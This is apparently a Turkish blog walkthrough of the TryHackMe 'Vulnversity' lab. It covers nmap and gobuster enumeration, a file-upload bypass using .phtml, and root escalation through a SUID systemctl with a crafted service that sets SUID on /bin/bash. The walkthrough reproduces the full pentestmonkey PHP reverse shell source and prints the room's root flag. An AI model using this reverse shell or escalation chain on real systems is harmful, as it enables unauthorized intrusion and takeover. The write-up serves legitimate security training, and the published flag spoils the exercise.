Bu yazımda Tryhackme’deki Penetration Test road map’indeki vulnersity odasını ele alacağız. Amacımız active recon, web app attacks and privilege escalation hakkında fikir sahibi olmak olacak.
https://tryhackme.com/r/room/vulnversity
Başlamadan önce deneyim sahibi olmayan arkadaşlar için bir cheat sheet’i burada vermek istiyorum.
Nmap
Nmap flag | Description |
---|---|
-sV | Attempts to determine the version of the services running |
-p or -p- | Port scan for port or scan all ports |
-Pn | Disable host discovery and scan for open ports |
-A | Enables OS and version detection, executes in-build scripts for further enumeration |
-sC | Scan with the default Nmap scripts |
-v | Verbose mode |
-sU | UDP port scan |
-sS | TCP SYN port scan |
Gobuster
Gobuster flag | Description |
---|---|
-e | Print the full URLs in your console |
-u | The target URL |
-w | Path to your wordlist |
-U and -P | Username and Password for Basic Auth |
-p | Proxy to use for requests |
-c | Specify a cookie for simulating your auth |
find / -perm /4000 2>/dev/null
- / – kök dizinden yinelemeli olarak aramaya başlayın
- -perm – aradığımız dosya iznini belirtin
- /4000 – SUID biti etkin olan tüm dosyaları listeleyin
- 2>/dev/nul – STDOUT’tan (ekrandan) tüm hataları kaldırın
Payloads
PHP-reverse-shell:
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
ön bilgilendirmeleri hallettiysek hemen ilk taskımız ile başlayalım. Burada makinemizi deploy etmemizi istiyor. ve bizden herhangi bir cevap istemiyor.
Task2 Reconnaissance
nmap -sV -sC 10.10.96.204 -oN vulnersity.txt taramamızı çalıştıralım.
Nmap taramamızdan aşağıdakileri buluyoruz;
Açık Portlar – 6
Portta Çalışan Web Sunucusu – 3333
Hedef İşletim Sistemi – Ubuntu Linux
gerekli cevapları aşağıdaki gibi doldurup geçebiliriz.
Apache web sunucusunun 3333 numaralı portta çalıştığını görüyoruz. Tarayıcımızı çalıştıralım ve orada ne olduğunu görmek için target ip adresinin 3333 portuna gidelim.
bizi bu şekilde bir site karşılıyor.
Gobuster, dirb veya dirlist’i kurduktan sonra, hedefe karşı çalıştırabiliriz.
aşağıda iki farklı tool ile çalıştırma şeklini görebilirsiniz.
Buradan, yükleme formu sayfası olan dizinin ( /internal ) olduğu sonucunu çıkarabiliriz.
‘/internal/’ dizini bize bazı yükleme işlemleri için imkan sağlayacak. Fakat neyi ve neden yükleyeceğiz?
Bunun için bir php reverse shell indirmemiz gerekecek (istediğiniz herhangi biri olabilir) Ben PentestMonkey’den bir reverse shel kullandım (aşağıda bu kodu sizinle paylaşıyorum), kabuktaki IP ve portu değiştirmeniz ve aşağıda gösterildiği gibi sunucuya yüklemeniz gerekecek.
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 [email protected]
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at [email protected]
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
şimdi yükleyelim
fakat hata verdi. Bu noktada mantığımızın sunucu tarafında ne tür dosyalara izin verildiğini öğrenebilmek için burp suit ile fuzz yapmamız gerekecek.
Sizlere araştırma olsun burada ben bunun phtml olduğunu buldum ve succes’i aldık fakat bu nereye kaydedildi. bunu bulmak için internal dizinine gobuster başlatıyorum.
gobuster dir -u http://10.10.215.224:3333/internal/ –wordlist /usr/share/wordlists/dirb/common.txt -e
Son olarak, $ip değişkeninizi IP adresinize ayarlamanız gerekecek. $port değişkenini ise 6666 olarak ayarlamayı tercih ettim daha sonradan neden bilmiyorum. Netcat dinleyicisi aracılığıyla bağlantıyı dinlemeye başladım ve reverse shell’i yüklerken ‘upload’ butonuna tıkladım aşağıdaki adımları takip ederek.
www-data kullanıcısı olarak shell elde ettik hemen içerisinde bakınalım.
cat /etc/passwd
(bu komutla /home/bill dizininde Bill adında bir kullanıcı buldum)
Şimdi bu makineyi ele geçirdiğinize göre, ayrıcalıklarımızı yükselteceğiz ve süper kullanıcı (root) olacağız.
Linux’ta SUID (set owner userId upon execution) bir dosyaya verilen özel bir dosya izni türüdür. SUID, bir kullanıcıya programı/dosyayı dosya sahibinin izniyle (dosyayı çalıştıran kullanıcı yerine) çalıştırması için geçici izinler verir.
Örneğin, parolanızı değiştirmek için kullanılan ikili dosyada SUID biti ayarlanmıştır (/usr/bin/passwd). Bunun nedeni, parolanızı değiştirmek için erişiminiz olmayan shadowers dosyasına yazmanız gerekecek olmasıdır; root’un erişimi vardır, bu nedenle doğru değişiklikleri yapmak için root ayrıcalıklarına sahiptir.
ve bundan sonra oda bize yardımı kesiyor privilige escalation’u bize bırakıyor.
find / -perm /4000 2>/dev/null komutu, Linux ve Unix tabanlı sistemlerde belirli dosyaları aramak için kullanılır. Bu komutun mantığını adım adım açıklayalım:
find /: Bu kısım, kök dizinden (“/”) başlayarak tüm dosya sisteminde arama yapar.
-perm /4000: Bu, belirli izinlere sahip dosyaları arar. “4000” izni, setuid biti olarak bilinir. Bu bit, bir dosyanın çalıştırıldığında dosyanın sahibinin (genellikle root) yetkilerini devralmasını sağlar. “4000” ifadesi, herhangi bir kullanıcının bu izinle sahip olduğu dosyaları bulur.
2>/dev/null: Bu kısım, hata mesajlarını (örneğin, izin reddedildi hataları) bastırır ve “/dev/null” adı verilen boş bir dosyaya yönlendirir. Böylece komutun çıktısı yalnızca aranan dosyalarla sınırlı olur.
Neden Kullanılır?
Bu komut, özellikle sistem yöneticileri ve güvenlik uzmanları tarafından, sistemde setuid biti atanmış dosyaları bulmak için kullanılır. Setuid biti atanmış dosyalar, güvenlik açısından dikkatle izlenmelidir çünkü bu dosyalar kötüye kullanıldığında potansiyel olarak büyük güvenlik açıklarına neden olabilirler.
(Systemctl, systemd init hizmetini kontrol etmek için kullanılan araç/hizmettir)
Systemctl ve systemd, modern Linux sistemlerinde init (başlatma) hizmetlerini kontrol etmek için kullanılan güçlü araçlardır. Saldırganlar, bu araçları privilege escalation (yetki yükseltme) saldırıları için kullanmayı tercih ederler çünkü bu araçlar, sistemde root yetkilerine sahip işlemleri kontrol etme ve yönetme kapasitesine sahiptir. İşte nedenleri:
- Yüksek Yetkilerle Çalışma: Systemctl ve systemd, genellikle root yetkileriyle çalışır. Bu nedenle, bir saldırgan bu araçları kullanarak kendine root yetkisi elde edebilir veya mevcut root yetkilerini kötüye kullanabilir. Bu, saldırganın sistem üzerinde tam kontrol sağlamasına olanak tanır.
- Geniş Kapsamlı Kontrol: Bu araçlar, sistemdeki hemen hemen tüm hizmetleri ve işlemleri başlatma, durdurma, yeniden başlatma ve durumlarını kontrol etme yeteneğine sahiptir. Bu, saldırganlara geniş bir saldırı yüzeyi sağlar ve birçok farklı yolla sistemi manipüle etmelerine imkan tanır.
- Konfigürasyon Dosyalarına Erişim: Systemd servis dosyaları, genellikle belirli yollar altında (örneğin,
/etc/systemd/system/
veya/lib/systemd/system/
) bulunur ve bu dosyaların manipülasyonu, saldırganların kendi kötü niyetli kodlarını çalıştırmalarına olanak tanır. Bu dosyalarda yapılacak değişikliklerle sistem yeniden başlatıldığında veya hizmet yeniden başlatıldığında saldırganın kodu çalışabilir. - Zayıf Güvenlik Uygulamaları: Bazı sistemlerde, özellikle yanlış yapılandırılmış sistemlerde, systemctl ve systemd’nin yanlış yapılandırılmış olması veya varsayılan ayarların yeterince güvenli olmaması, saldırganların bu araçları kötüye kullanmalarını kolaylaştırır.
- Loglama ve İzleme: Saldırganlar, izlerini örtmek ve sistem yöneticilerinin saldırıyı fark etmelerini zorlaştırmak için systemd’nin loglama ve izleme özelliklerini de manipüle edebilirler.
Örnek bir saldırı senaryosu olarak, saldırgan bir sistemde yetki yükseltmek için şu adımları izleyebilir:
- Zayıf Hizmet Dosyası: Saldırgan, bir systemd hizmet dosyasında bir güvenlik açığı bulur veya bir konfigürasyon hatasından faydalanır.
- Manipülasyon: Hizmet dosyasını düzenleyerek, hizmetin çalıştırdığı komutu değiştirir ve kendi kötü niyetli komutlarını ekler.
- Yeniden Başlatma: Hizmeti yeniden başlatarak veya sistemi yeniden başlatarak, kötü niyetli kodun çalışmasını sağlar.
Bu nedenle, systemctl ve systemd, saldırganlar tarafından yaygın olarak tercih edilen araçlardır ve sistem yöneticilerinin bu araçları dikkatli bir şekilde yönetmeleri ve güvenli yapılandırmalar sağlamaları son derece önemlidir.
Hedef sistemimiz oturum açmış herhangi bir kullanıcının bir sistem service oluşturmasına ve root olarak çalıştırmasına izin vermektedir. Bundan dolayı root erişimine sahip olmamızı ve sürdürmemizi korumamızı sağlayacak bir service oluşturacağız.
bir dosyanın içeriğini başka bir konumda saklamak veya bir dosyanın içeriğini erişilebilir hale getirmek için tmp klasörü altında geçici bir dosya yada servisler oluşturacağız.
Privilege escalation (ayrıcalık yükseltme) işlemleri genellikle iki ana yöntemle gerçekleştirilebilir: geçici dosyalar oluşturma veya geçici servisler oluşturma. Bu iki yöntem farklı durumlarda kullanılabilir. İki yöntemin de nasıl çalıştığını açıklayan özetler:
- Geçici Dosya Oluşturma
Geçici dosya oluşturma, bir dosyanın içeriğini başka bir konumda saklayarak veya dosyanın içeriğini erişilebilir hale getirerek yetki kazanmayı amaçlar. Örneğin:
Bir Root Dosyasının İçeriğini Okuma: /root/root.txt gibi kök kullanıcıya ait bir dosyanın içeriğini /tmp/ gibi erişilebilir bir dizine kopyalamak, bu içeriğe erişmenizi sağlar.
Gizli Dosyaların Erişimini Sağlama: Yetkilendirilmiş kullanıcı tarafından erişilemeyen dosyalara geçici bir konumda erişim sağlamak için kullanılabilir.
Örnek:
cat /root/root.txt > /tmp/flag.txt
Bu komut, /root/root.txt dosyasının içeriğini /tmp/flag.txt dosyasına yazar.
- Geçici Servis Oluşturma
Geçici servis oluşturma, systemd gibi bir servis yöneticisinin ayrıcalıklarını kullanarak belirli komutları yüksek yetkilerle çalıştırmanıza olanak tanır. Bu yöntem, özellikle bir SUID (Set User ID) biti setlenmiş bir ikili dosya veya sudo ayrıcalıklarına sahip bir komut ile kullanılabilir.
Servis Dosyası Oluşturma: Yeni bir servis dosyası oluşturur ve bu servisi systemd’ye tanıtarak çalıştırılacak komutları belirtirsiniz.
Komutların Yüksek Yetkilerle Çalıştırılması: systemctl gibi araçlar kullanılarak servis başlatıldığında belirtilen komut yüksek ayrıcalıklarla çalıştırılır.
Örnek:
Geçici bir servis dosyası oluşturma
TF=$(mktemp).service
echo ‘[Service]
Type=oneshot
ExecStart=/bin/sh -c “cat /root/root.txt > /tmp/flag.txt”
[Install]
WantedBy=multi-user.target’ > $TF
Servisi linkleyin ve etkinleştirin:
sudo systemctl link $TF
sudo systemctl enable –now $(basename $TF)
Bu servis başlatıldığında, /root/root.txt dosyasının içeriğini /tmp/flag.txt dosyasına kopyalar, bu da yetkilerinizi yükseltmek için kullanılabilir.
Özet
Geçici Dosya Oluşturma: Dosya içeriğini başka bir konumda saklama veya erişilebilir hale getirme amacı taşır.
Geçici Servis Oluşturma: systemd veya benzeri araçlarla yüksek ayrıcalıklarla komut çalıştırmak için kullanılır.
Her iki yöntemin de amacı, sistemde yetki kazanmak veya mevcut yetkileri artırmak olabilir. Hangi yöntemi kullanmanız gerektiği, sistemdeki mevcut yapılandırmalara ve güvenlik açıklarına bağlıdır.
geçici bir servis oluşturmak ve çalıştırmak için adım adım süreç şu şekildedir:
1. Geçici Servis Dosyasını Oluşturma
- Geçici Dosya Oluşturma: İlk olarak, geçici bir servis dosyası oluşturmanız gerekiyor. Bu dosya,
systemd
servisi olarak tanıtılacak ve içinde çalıştırılacak komutu belirtecektir. Geçici bir dosya adı oluşturun:TF=$(mktemp).service
Bu komut, geçici bir dosya adı oluşturur ve.service
uzantısını ekler. Dosya adınıTF
değişkeninde saklar. - Servis İçeriğini Yazma: Servis dosyasının içeriğini oluşturun.
echo
komutunu kullanarak içerik yazmak için aşağıdaki adımları takip edebilirsiniz. Burada, geçici dosyanın içeriğini bir servise uygun formatta yazarız: - echo ‘[Service]
- ExecStart=/bin/sh -c “cat /root/root.txt > /tmp/flag.txt”
- [Install]
- WantedBy=multi-user.target’ > $TF
ExecStart
satırında belirtilen komutu/bin/sh
shell’i kullanarak çalıştıracaktır.cat /root/root.txt > /tmp/flag.txt
komutu,/root/root.txt
dosyasının içeriğini/tmp/flag.txt
dosyasına kopyalar.
/bin/systemctl link $TF
Systemd, servis dosyalarını /etc/systemd/system/
veya /lib/systemd/system/
gibi dizinlerde saklar. Bu dizinlerdeki dosyalar, systemd’nin servisleri tanımasını ve yönetmesini sağlar. Geçici bir servis dosyası oluşturduğunuzda, bu dosyayı systemd’ye tanıtmak için bir sembolik link oluşturmanız gerekir.
Neden Sembolik Link Kullanılır?
- Geçici Servis Dosyasını Yönetme:
- Geçici olarak oluşturulan servis dosyasının gerçek konumu genellikle
/tmp
dizininde bulunur. Bu dosyayı systemd’ye tanıtmak için bu dosyayı/etc/systemd/system/
dizinine bir sembolik link ile bağlamak gerekir. - Sembolik link, geçici dosyayı systemd’nin anlayacağı bir konuma işaret eder.
- Geçici olarak oluşturulan servis dosyasının gerçek konumu genellikle
- Systemd’nin Servis Dosyasını Tanıması:
- Systemd, servis dosyalarını belirli dizinlerde arar. Geçici dosyayı bu dizinlere koymak yerine, sembolik link kullanarak bu dosyayı geçici dizinden yönetilebilir bir konuma yönlendirmiş olursunuz.
- Bu işlem, geçici servis dosyasının systemd tarafından işlenmesini ve kullanılmasını sağlar.
/bin/systemctl enable –now $TF: Bu komut, geçici olarak oluşturduğunuz servis dosyasının tam yolunu kullanarak systemd’ye servis tanıtımını yapar. Geçici servis dosyanızın tam yolunu kullanmak, systemd’nin bu dosyayı doğru bir şekilde tanıyıp işleyebilmesini sağlar. Böylece çalıştırdık ve tmp root/root.txt den okunan verinin tmp altında flag.txt’ye yani bizim erişebileceğimiz yere geldiğini görmeyi umuyoruz.
görüldüğü üzere gelmiş
içine girip bakalım hemen.
a58ff8579f0a9270368d33a9966c7fd5
Geçici Servis Dosyası ve SUID Bit Ayarı:
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "chmod +s /bin/bash"
[Install]
WantedBy=multi-user.target' > $TF
chmod +s /bin/bash
Komutu: Bu komut,/bin/bash
dosyasına SUID biti ayarlar. Bu, normal kullanıcıların bu bash shell’ini kök ayrıcalıklarıyla çalıştırabilmesine olanak tanır.
Servisi Linkleme ve Başlatma:
/bin/systemctl link $TF
/bin/systemctl enable --now $TF
- Bu komutlar, oluşturduğunuz geçici servis dosyasını
systemd
‘ye tanıtır ve hemen çalıştırır.
Yetki Yükseltme:
bash -p
bash -p
Komutu: Bu komut, SUID biti ayarlanmış bir bash shell’ini kök ayrıcalıklarıyla çalıştırır./bin/bash
‘in SUID biti ayarlandığı için, kök yetkileri ile bir bash shell açılır.
Sonraki Erişim:
bashCopy codecd /root
ls
cat root.txt
- Erişim: Bu aşamada,
/root
dizinine geçebilir veroot.txt
dosyasını okuyabilirsiniz, çünkübash -p
komutu kök ayrıcalıkları ile çalışmaktadır.
2. Az Önceki İşlemlerle Farklar:
Az Önceki İşlemler (Geçici Servis ile):
- Geçici Servis ve SUID Ayarı:
- Geçici servis oluşturma ve çalıştırma adımları,
/bin/bash
‘in SUID biti ayarlanmasını sağlar. Bu, kök yetkileri ile bir shell açmanıza olanak tanır.
- Geçici servis oluşturma ve çalıştırma adımları,
- SUID ile Bash:
bash -p
kullanılarak,/bin/bash
SUID biti ayarlandığından, kök ayrıcalıkları ile bir shell açılır ve/root
dizinine erişebilirsiniz.
Yeni Yaklaşımdaki Farklar:
- SUID Bit Ayarı:
- SUID biti ayarlı olan
/bin/bash
shell’i doğrudan kök yetkileri ile çalıştığından, kök yetkilerini hemen elde edebilirsiniz.
- SUID biti ayarlı olan
- Yetki Yükseltme:
- SUID biti ayarlanmış
bash
kullanarak kök ayrıcalıklarıyla shell açmak, daha hızlı bir yetki yükseltme sağlar ve servisi çalıştırmadan doğrudan yetkileri ele geçirir.
- SUID biti ayarlanmış
Özet:
- Geçici Servis ve SUID Ayarı:
- Bu yöntem,
systemd
servisi aracılığıyla/bin/bash
‘in SUID bitini ayarlamanıza olanak tanır ve ardından bu shell ile kök ayrıcalıklarına erişim sağlar.
- Bu yöntem,
- Direkt SUID ile Bash:
- Eğer
/bin/bash
‘in SUID biti zaten ayarlanmışsa,bash -p
komutunu kullanarak kök ayrıcalıklarıyla doğrudan shell açabilirsiniz. Bu, işlemi daha basit ve hızlı hale getirir.
- Eğer
Mantık:
- Geçici Servis ile Yöntem: Daha karmaşık bir yol olup, geçici servis oluşturur, bu servisi
systemd
ile yönetir ve kök yetkileri sağlar. - Doğrudan SUID ile Yöntem: Daha doğrudan ve hızlı bir yöntem olup, mevcut bir SUID bitine sahip shell’i kullanarak kök yetkilerini hemen elde eder.
Bu iki yöntem arasındaki farklar, belirli durumlarda yetki yükseltme işlemlerinin nasıl yapılacağına bağlı olarak avantajlar ve dezavantajlar sunar.